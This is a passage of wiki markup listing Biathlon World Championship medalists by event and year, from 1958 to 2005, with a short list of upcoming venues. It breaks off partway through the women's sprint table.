*[[Biathlon World Championship 2005|2005]] [[Hochfilzen]], [[Austria]], and [[Khanty-Mansiysk]], [[Russia]] (K-M: Mixed Relay)&lt;br&gt;(Hochfilzen is actually less than 20 km away from [[Saalfelden]],&lt;br&gt;the venue of the first ever BWCH, held in 1958.)

Upcoming:
*2006 [[Pokljuka]], [[Slovenia]] [http://www.biathlonworld.com/eng/events/page_000951.htm (WWW)] (Mixed Relay; to be held 12 March)
*2007 [[Rasen - Antholz-Rasun - Anterselva|Antholz-Anterselva]], [[Italy]] [http://www.biathlon-antholz.it/en/biathlon2007/index.asp (WWW)]
*2008 [[Östersund]], [[Sweden]] [http://www.ostersund2008.se/index.asp?lang=en (WWW)]
*2009 [[Yongpyong]], [[Pyeongchang County|PyeongChang]], [[South Korea]] [http://www.pyeongchang2014.org/eng/html/sub3/sub3_03.html (WWW)]&lt;!--Until a dedicated website has been created. --Wernher--&gt;

== Men ==
''[[Romanization#Cyrillic|Romanization]] of [[Cyrillic alphabet]]-based names follows the [[Biathlon#Governing body|IBU]]'s athlete records''.

''See the [[List of IOC country codes]] for expansions of country abbreviations.''

=== Individual (20 km) ===
This event was first held in [[1958]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1958
|{{flag athl iocc|[[Adolf Wiklund]]|SWE}}
|{{flag athl iocc|[[Olle Gunneriusson]]|SWE}}
|{{flag athl iocc|[[Viktor Butakov]]|URS}}
|-
|1959
|{{flag athl iocc|[[Vladimir Melanin]]|URS}}
|{{flag athl iocc|[[Dimitri Sokolov]]|URS}}
|{{flag athl iocc|[[Sven Agge]]|SWE}}
|-
|1961
|{{flag athl iocc|[[Kalevi Huuskoen]]|FIN}}
|{{flag athl iocc|[[Alexander Privalov]]|URS}}
|{{flag athl iocc|[[Paavo Repo]]|FIN}}
|-
|1962
|{{flag athl iocc|[[Vladimir Melanin]]|URS}}
|{{flag athl iocc|[[Antti Tyrväinen]]|FIN}}
|{{flag athl iocc|[[Valentin Pshenitsyn]]|URS}}
|-
|1963
|{{flag athl iocc|[[Vladimir Melanin]]|URS}}
|{{flag athl iocc|[[Antti Tyrväinen]]|FIN}}
|{{flag athl iocc|[[Hannu Posti]]|FIN}}
|-
|1965
|{{flag athl iocc|[[Olav Jordet]]|NOR}}
|{{flag athl iocc|[[Nikolai Puzanov]]|URS}}
|{{flag athl iocc|[[Antti Tyrväinen]]|FIN}}
|-
|1966
|{{flag athl iocc|[[Jon Istad]]|NOR}}
|{{flag athl iocc|[[Josef Sobczak]]|POL}}
|{{flag athl iocc|[[Vladimir Gundartsev]]|URS}}
|-
|1967
|{{flag athl iocc|[[Viktor Mamatov]]|URS}}
|{{flag athl iocc|[[Stanislav Szozepaniak]]|POL}}
|{{flag athl iocc|[[Jon Istad]]|NOR}}
|-
|1969
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Rinnat Safin]]|URS}}
|{{flag athl iocc|[[Magnar Solberg]]|NOR}}
|-
|1970
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Tor Svendsberget]]|NOR}}
|{{flag athl iocc|[[Viktor Mamatov]]|URS}}
|-
|1971
|{{flag athl iocc|[[Dieter Speer]]|GDR}}
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Magnar Solberg]]|NOR}}
|-
|1973
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Gennadiy Kovalev]]|URS}}
|{{flag athl iocc|[[Tor Svendsberget]]|NOR}}
|-
|1974
|{{flag athl iocc|[[Juhani Suutarinen]]|FIN}}
|{{flag athl iocc|[[George Girnitsa]]|ROM}}
|{{flag athl iocc|[[Tor Svendsberget]]|NOR}}
|-
|1975
|{{flag athl iocc|[[Heikki Ikola]]|FIN}}
|{{flag athl iocc|[[Nikolay Kruglov Sr.|Nikolay Kruglov]]|URS}}
|{{flag athl iocc|[[Esko Saira]]|FIN}}
|-
|1977
|{{flag athl iocc|[[Heikki Ikola]]|FIN}}
|{{flag athl iocc|[[Sigleif Johansen]]|NOR}}
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|-
|1978
|{{flag athl iocc|[[Odd Lirhus]]|NOR}}
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Eberhard Rösch]]|GDR}}
|-
|1979
|{{flag athl iocc|[[Klaus Siebert]]|GDR}}
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Sigleif Johansen]]|NOR}}
|-
|1981
|{{flag athl iocc|[[Heikki Ikola]]|FIN}}
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Erkki Antila]]|FIN}}
|-
|1982
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Terje Krokstad]]|NOR}}
|-
|1983
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Peter Angerer]]|FRG}}
|-
|1985
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Juri Kazhkarov]]|URS}}
|{{flag athl iocc|[[Tapio Piipponen]]|FIN}}
|-
|1986
|{{flag athl iocc|[[Valeriy Medvedtsev]]|URS}}
|{{flag athl iocc|[[André Sehmisch]]|GDR}}
|{{flag athl iocc|[[Alfred Eder]]|AUT}}
|-
|1987
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Josh Thompson]]|USA}}
|{{flag athl iocc|[[Jan Matous]]|TCH}}
|-
|1989
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Gisle Fenne]]|NOR}}
|{{flag athl iocc|[[Fritz Fischer (biathlete)|Fritz Fischer]]|FRG}}
|-
|1990
|{{flag athl iocc|[[Valeriy Medvedtsev]]|URS}}
|{{flag athl iocc|[[Sergei Tchepikov]]|URS}}
|{{flag athl iocc|[[Anatoliy Zdanovich]]|URS}}
|-
|1991
|{{flag athl iocc|[[Mark Kirchner]]|GER}}
|{{flag athl iocc|[[Alexander Popov (biathlete)|Alexander Popov]]|URS}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|-
|1993
|{{flag athl iocc|[[Andreas Zingerle]]|ITA}}
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|{{flag athl iocc|[[Sergei Tchepikov]]|RUS}}
|-
|1995
|{{flag athl iocc|[[Tomasz Sikora]]|POL}}
|{{flag athl iocc|[[Jon Åge Tyldum]]|NOR}}
|{{flag athl iocc|[[Oleg Ryzhenkov]]|BLR}}
|-
|1996
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|{{flag athl iocc|[[Vladimir Dratchev]]|RUS}}
|{{flag athl iocc|[[Vadim Sashurin]]|BLR}}
|-
|1997
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Oleg Ryzhenkov]]|BLR}}
|{{flag athl iocc|[[Ludwig Gredler]]|AUT}}
|-
|1999
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Vadim Sashurin]]|BLR}}
|-
|2000
|{{flag athl iocc|[[Wolfgang Rottmann]]|AUT}}
|{{flag athl iocc|[[Ludwig Gredler]]|AUT}}
|{{flag athl iocc|[[Frank Luck]]|GER}}
|-
|2001
|{{flag athl iocc|[[Paavo Puurunen]]|FIN}}
|{{flag athl iocc|[[Vadim Sashurin]]|BLR}}
|{{flag athl iocc|[[Ilmars Bricis]]|LAT}}
|-
|2003
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|{{flag athl iocc|[[Vesa Hietalahti]]|FIN}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|-
|2004
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Tomasz Sikora]]|POL}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Roman Dostal]]|CZE}}
|{{flag athl iocc|[[Michael Greis]]|GER}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|}

=== Sprint (10 km) ===
This event was first held in [[1974]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1974
|{{flag athl iocc|[[Juhani Suutarinen]]|FIN}}
|{{flag athl iocc|[[Günther Bartnick]]|GDR}}
|{{flag athl iocc|[[Torsten Wadman]]|SWE}}
|-
|1975
|{{flag athl iocc|[[Nikolay Kruglov Sr.|Nikolay Kruglov]]|URS}}
|{{flag athl iocc|[[Alexander Elisarov]]|URS}}
|{{flag athl iocc|[[Klaus Siebert]]|GDR}}
|-
|1976
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Alexander Elisarov]]|URS}}
|{{flag athl iocc|[[Nikolay Kruglov Sr.|Nikolay Kruglov]]|URS}}
|-
|1977
|{{flag athl iocc|[[Alexander Tikhonov]]|URS}}
|{{flag athl iocc|[[Nikolay Kruglov Sr.|Nikolay Kruglov]]|URS}}
|{{flag athl iocc|[[Alexander Ushakov]]|URS}}
|-
|1978
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Eberhard Rösch]]|GDR}}
|{{flag athl iocc|[[Klaus Siebert]]|GDR}}
|-
|1979
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Odd Lirhus]]|NOR}}
|{{flag athl iocc|[[Luigi Weiss]]|ITA}}
|-
|1981
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Erkki Antila]]|FIN}}
|{{flag athl iocc|[[Yvon Mougel]]|FRA}}
|-
|1982
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Frank Ullrich]]|GDR}}
|{{flag athl iocc|[[Vladimir Alikin]]|URS}}
|-
|1983
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Peter Angerer]]|FRG}}
|{{flag athl iocc|[[Alfred Eder]]|AUT}}
|-
|1985
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Johann Passler]]|ITA}}
|-
|1986
|{{flag athl iocc|[[Valeriy Medvedtsev]]|URS}}
|{{flag athl iocc|[[Peter Angerer]]|FRG}}
|{{flag athl iocc|[[Franz Schuler]]|AUT}}
|-
|1987
|{{flag athl iocc|[[Frank-Peter Rötsch]]|GDR}}
|{{flag athl iocc|[[Matthias Jacob]]|GDR}}
|{{flag athl iocc|[[André Sehmisch]]|GDR}}
|-
|1989
|{{flag athl iocc|[[Frank Luck]]|FRG}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Juri Kazhkarov]]|URS}}
|-
|1990
|{{flag athl iocc|[[Mark Kirchner]]|FRG}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|{{flag athl iocc|[[Sergei Tchepikov]]|URS}}
|-
|1991
|{{flag athl iocc|[[Mark Kirchner]]|GER}}
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Eirik Kvalfoss]]|NOR}}
|-
|1993
|{{flag athl iocc|[[Mark Kirchner]]|GER}}
|{{flag athl iocc|[[Jon Åge Tyldum]]|NOR}}
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|-
|1995
|{{flag athl iocc|[[Patrice Bailly-Salins]]|FRA}}
|{{flag athl iocc|[[Pavel Muslimov]]|RUS}}
|{{flag athl iocc|[[Ricco Gross|Ricco Groß]]|GER}}
|-
|1996
|{{flag athl iocc|[[Vladimir Dratchev]]|RUS}}
|{{flag athl iocc|[[Viktor Maigourov]]|RUS}}
|{{flag athl iocc|[[René Cattarinussi]]|ITA}}
|-
|1997
|{{flag athl iocc|[[Wilfried Pallhuber]]|ITA}}
|{{flag athl iocc|[[René Cattarinussi]]|ITA}}
|{{flag athl iocc|[[Oleg Ryzhenkov]]|BLR}}
|-
|1999
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Patrick Favre]]|ITA}}
|{{flag athl iocc|[[Frode Andresen]]|NOR}}
|-
|2000
|{{flag athl iocc|[[Frode Andresen]]|NOR}}
|{{flag athl iocc|[[Pavel Rostovtsev]]|RUS}}
|{{flag athl iocc|[[René Cattarinussi]]|ITA}}
|-
|2001
|{{flag athl iocc|[[Pavel Rostovtsev]]|RUS}}
|{{flag athl iocc|[[Rene Cattarinussi]]|ITA}}
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|-
|2003
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Zdenek Vitek]]|CZE}}
|-
|2004
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Ilmars Bricis]]|LAT}}
|}

=== Pursuit (12.5 km) ===
This event was first held in [[1997]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1997
|{{flag athl iocc|[[Viktor Maigourov]]|RUS}}
|{{flag athl iocc|[[Sergei Tarasov]]|RUS}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|1998
|{{flag athl iocc|[[Vladimir Dratchev]]|RUS}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|-
|1999
|{{flag athl iocc|[[Ricco Gross|Ricco Groß]]|GER}}
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|-
|2000
|{{flag athl iocc|[[Frank Luck]]|GER}}
|{{flag athl iocc|[[Pavel Rostovtsev]]|RUS}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|-
|2001
|{{flag athl iocc|[[Pavel Rostovtsev]]|RUS}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|-
|2003
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Halvard Hanevold]]|NOR}}
|{{flag athl iocc|[[Paavo Puurunen]]|FIN}}
|-
|2004
|{{flag athl iocc|[[Ricco Groß]]|GER}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sergei Tchepikov]]|RUS}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|}

=== Mass start (15 km) ===
This event was first held in [[1999]].

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1999
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Vladimir Dratchev]]|RUS}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|2000
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Pavel Rostovtsev]]|RUS}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|-
|2001
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|-
|2002
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Frode Andresen]]|NOR}}
|-
|2003
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|-
|2004
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|{{flag athl iocc|[[Lars Berger]]|NOR}}
|{{flag athl iocc|[[Sergei Konovalov]]|RUS}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Ole Einar Bjørndalen]]|NOR}}
|{{flag athl iocc|[[Sven Fischer]]|GER}}
|{{flag athl iocc|[[Raphaël Poirée]]|FRA}}
|}

=== Relay (4 &amp;times; 7.5 km) ===
This event was first held unofficially in [[1958]] and officially in [[1966]]. The 1959 to 1965 contests were three legs only.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1958
|{{SWE}}
|{{URS}}
|{{NOR}}
|-
|1959
|{{URS}}
|{{SWE}}
|{{NOR}}
|-
|1961
|{{FIN}}
|{{URS}}
|{{SWE}}
|-
|1962
|{{URS}}
|{{FIN}}
|{{NOR}}
|-
|1963
|{{URS}}
|{{FIN}}
|{{NOR}}
|-
|1965
|{{NOR}}
|{{URS}}
|{{POL}}
|-
|1966
|{{NOR}}
|{{POL}}
|{{SWE}}
|-
|1967
|{{NOR}}
|{{URS}}
|{{SWE}}
|-
|1969
|{{URS}}
|{{NOR}}
|{{FIN}}
|-
|1970
|{{URS}}
|{{NOR}}
|{{GDR}}
|-
|1971
|{{URS}}
|{{NOR}}
|{{POL}}
|-
|1973
|{{URS}}
|{{NOR}}
|{{GDR}}
|-
|1974
|{{URS}}
|{{FIN}}
|{{NOR}}
|-
|1975
|{{FIN}}
|{{URS}}
|{{POL}}
|-
|1977
|{{URS}}
|{{FIN}}
|{{GDR}}
|-
|1978
|{{GDR}}
|{{NOR}}
|{{FRG}}
|-
|1979
|{{GDR}}
|{{FIN}}
|{{URS}}
|-
|1981
|{{GDR}}
|{{FRG}}
|{{URS}}
|-
|1982
|{{GDR}}
|{{NOR}}
|{{URS}}
|-
|1983
|{{URS}}
|{{GDR}}
|{{NOR}}
|-
|1985
|{{URS}}
|{{GDR}}
|{{FRG}}
|-
|1986
|{{URS}}
|{{GDR}}
|{{ITA}}
|-
|1987
|{{GDR}}
|{{URS}}
|{{FRG}}
|-
|1989
|{{URS}}
|{{GDR}}
|{{NOR}}
|-
|1990
|{{ITA}}
|{{FRA}}
|{{FRG}}
|-
|1991
|{{GER}}
|{{URS}}
|{{NOR}}
|-
|1993
|{{ITA}}
|{{RUS}}
|{{GER}}
|-
|1995
|{{GER}}
|{{FRA}}
|{{BLR}}
|-
|1996
|{{RUS}}
|{{GER}}
|{{BLR}}
|-
|1997
|{{GER}}
|{{NOR}}
|{{ITA}}
|-
|1999
|{{BLR}}
|{{RUS}}
|{{NOR}}
|-
|2000
|{{RUS}}
|{{NOR}}
|{{GER}}
|-
|2001
|{{FRA}}
|{{BLR}}
|{{NOR}}
|-
|2003
|{{GER}}
|{{RUS}}
|{{BLR}}
|-
|2004
|{{GER}}
|{{NOR}}
|{{FRA}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{NOR}}
|{{RUS}}
|{{AUT}}
|}

=== Team ===
This event was held from [[1989]] to 1998.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
|1989
|{{URS}}
|{{FIN}}
|{{ITA}}
|-
|1990
|{{FRG}}
|{{TCH}}
|{{FRA}}
|-
|1991
|{{ITA}}
|{{NOR}}
|{{URS}}
|-
|1992
|{{EUN}}
|{{NOR}}
|{{EST}}
|-
|1993
|{{GER}}
|{{RUS}}
|{{FRA}}
|-
|1994
|{{ITA}}
|{{RUS}}
|{{GER}}
|-
|1995
|{{GER}}
|{{FRA}}
|{{BLR}}
|-
|1996
|{{BLR}}
|{{RUS}}
|{{ITA}}
|-
|1997
|{{BLR}}
|{{GER}}
|{{POL}}
|-
|1998
|{{NOR}}
|{{GER}}
|{{RUS}}
|}

== Women ==
''[[Romanization#Cyrillic|Romanization]] of [[Cyrillic alphabet]]-based names follows the [[Biathlon#Governing body|IBU]]'s athlete records''.

''See the [[List of IOC country codes]] for expansions of country abbreviations.''

=== Individual (15 km) ===
This event was first held in [[1984]]. Through 1988 the distance was 10 km.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1984
|{{flag athl iocc|[[Venera Chernychova]]|URS}}
|{{flag athl iocc|[[Liudmila Zabolotniana]]|URS}}
|{{flag athl iocc|[[Tatiana Brylina]]|URS}}
|-
| 1985
|{{flag athl iocc|[[Kaya Parve]]|URS}}
|{{flag athl iocc|[[Sanna Grønlid]]|NOR}}
|{{flag athl iocc|[[Eva Korpela]]|SWE}}
|-
| 1986
|{{flag athl iocc|[[Eva Korpela]]|SWE}}
|{{flag athl iocc|[[Siv Bråten]]|NOR}}
|{{flag athl iocc|[[Sanna Grønlid]]|NOR}}
|-
| 1987
|{{flag athl iocc|[[Sanna Grønlid]]|NOR}}
|{{flag athl iocc|[[Kaya Parve]]|URS}}
|{{flag athl iocc|[[Tuija Vuoksialo]]|FIN}}
|-
| 1988
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|{{flag athl iocc|[[Elin Kristiansen]]|NOR}}
|{{flag athl iocc|[[Venera Chernychova]]|URS}}
|-
| 1989
|{{flag athl iocc|[[Petra Schaaf]]|FRG}}
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|{{flag athl iocc|[[Svetlana Davidova]]|URS}}
|-
| 1990
|{{flag athl iocc|[[Svetlana Davidova]]|URS}}
|[[Image:Flag of Bulgaria.svg|22px]] [[Iva Schkodreva]] ([[Bulgaria|BUL]])
|{{flag athl iocc|[[Petra Schaaf]]|FRG}}
|-
| 1991
|{{flag athl iocc|[[Petra Schaaf]]|GER}}
|{{flag athl iocc|[[Grete Ingeborg Nykkelmo|Grete I. Nykkelmo]]|NOR}}
| [[Image:Flag of Bulgaria.svg|22px]] [[Iva Schkodreva]] ([[Bulgaria|BUL]])
|-
| 1993
|{{flag athl iocc|[[Petra Schaaf]]|GER}}
|{{flag athl iocc|[[Myriam Bédard]]|CAN}}
|{{flag athl iocc|[[Svetlana Paramygina]]|BLR}}
|-
| 1995
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
| [[Image:Flag of Bulgaria.svg|22px]] [[Ekaterina Dafovska]] ([[Bulgaria|BUL]])
|-
| 1996
|{{flag athl iocc|[[Emmanuelle Claret]]|FRA}}
|{{flag athl iocc|[[Olga Melnik]]|RUS}}
|{{flag athl iocc|[[Olena Petrova]]|UKR}}
|-
| 1997
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup1;
|[[Image:Flag of Bulgaria.svg|22px]] [[Ekaterina Dafovska]] ([[Bulgaria|BUL]])
|-
| 1999
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup1;
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|{{flag athl iocc|[[Albina Akhatova]]|RUS}}
|-
| 2000
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|{{flag athl iocc|[[Shumei Yu]]|CHN}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|-
| 2001
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup1;
|-
| 2003
|{{flag athl iocc|[[Katerina Holubcova]]|CZE}}
|{{flag athl iocc|[[Olena Zubrilova]]|BLR}}&amp;sup1;
|{{flag athl iocc|[[Gunn Margit Andreassen]]|NOR}}
|-
| 2004
|{{flag athl iocc|[[Olga Pyleva]]|RUS}}
|{{flag athl iocc|[[Albina Akhatova]]|RUS}}
|{{flag athl iocc|[[Olena Petrova]]|UKR}}
|-
|[[Biathlon World Championship 2005|2005]]
|{{flag athl iocc|[[Andrea Henkel]]|GER}}
|{{flag athl iocc|[[Ribo Sun]]|CHN}}
|{{flag athl iocc|[[Linda Tjørhom]]|NOR}}
|}
(&amp;sup1; Olena Zubrilova changed her citizenship from Ukrainian to Belarusian in 2002)

=== Sprint (7.5 km) ===
This event was first held in [[1984]]. Through 1988 the distance was 5 km.

{| class=&quot;wikitable&quot; cellspacing=&quot;1&quot;
! Year
! style=&quot;background:gold&quot;    width=&quot;210&quot; | Gold
! style=&quot;background:silver&quot;  width=&quot;210&quot; | Silver
! style=&quot;background:#cc9966&quot; width=&quot;210&quot; | Bronze
|-
| 1984
|{{flag athl iocc|[[Venera Chernychova]]|URS}}
|{{flag athl iocc|[[Sanna Grønlid]]|NOR}}
|{{flag athl iocc|[[Andrea Grossegger]]|AUT}}
|-
| 1985
|{{flag athl iocc|[[Sanna Grønlid]]|NOR}}
|{{flag athl iocc|[[Kaya Parve]]|URS}}
|{{flag athl iocc|[[Venera Chernychova]]|URS}}
|-
| 1986
|{{flag athl iocc|[[Kaya Parve]]|URS}}
|{{flag athl iocc|[[Nadeshda Belova]]|URS}}
|{{flag athl iocc|[[Eva Korpela]]|SWE}}
|-
| 1987
|{{flag athl iocc|[[Elena Golovina]]|URS}}
|{{flag athl iocc|[[Venera Chernychova]]|URS}}
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|-
| 1988
|{{flag athl iocc|[[Petra Schaaf]]|FRG}}
|{{flag athl iocc|[[Eva Korpela]]|SWE}}
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|-
| 1989
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|[[Image:Flag of Bulgaria.svg|22px]] [[Zwetana Krasteva]] ([[Bulgaria|BUL]])
|{{flag athl iocc|[[Natalia Prikostshikova]]|URS}}
|-
| 1990
|{{flag athl iocc|[[Anne Elvebakk]]|NOR}}
|{{flag athl iocc|[[Svetlana Petcherskaia|Svetlana Davidova]]|URS}}
|{{flag athl iocc|[[Elin Kristiansen]]|NOR}}
|-
| 1991
|{{flag athl iocc|[[Grete Ingeborg Nykkelmo|Grete I. Nykkelmo]]|NOR}}
|{{flag athl iocc|[[Svetlana Petcherskaia|Svetlana Davidova]]|URS}}
|{{flag athl iocc|[[Elena Golovina]]|URS}}
|-
| 1993
|{{flag athl iocc|[[Myriam Bédard]]|CAN}}
|{{flag athl iocc|[[Nadejda Talanova]]|RUS}}
|{{flag athl iocc|[[Elena Belova]]|RUS}}
|-
| 1995
|{{flag athl iocc|[[Anne Briand]]|FRA}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Corinne Niogret]]|FRA}}
|-
| 1996
|{{flag athl iocc|[[Olga Romasko]]|RUS}}
|{{flag athl iocc|[[Ann Elen Skjelbreid]]|NOR}}
|{{flag athl iocc|[[Magdalena Forsberg|Magdalena Wallin]]|SWE}}&amp;sup1;
|-
| 1997
|{{flag athl iocc|[[Olga Romasko]]|RUS}}
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup2;
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}&amp;sup1;
|-
| 1999
|{{flag athl iocc|[[Martina Zellner]]|GER}}
|{{flag athl iocc|[[Magdalena Forsberg]]|SWE}}
|{{flag athl iocc|[[Olena Zubrilova]]|UKR}}&amp;sup2;
|-
| 2000
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Skjelbreid]]|NOR}}&amp;sup3;
|{{flag athl iocc|[[Katrin Apel]]|GER}}
|{{flag athl iocc|[[Martina Zellner]]|GER}}
|-
| 2001
|{{flag athl iocc|[[Kati Wilhelm]]|GER}}
|{{flag athl iocc|[[Uschi Disl]]|GER}}
|{{flag athl iocc|[[Liv Grete Skjelbreid Poirée|Liv Grete Poirée]]|NOR}}&amp;sup3;
|-
| 2003
|{{flag athl iocc|[[Sylvie Becaert]]|FRA}}
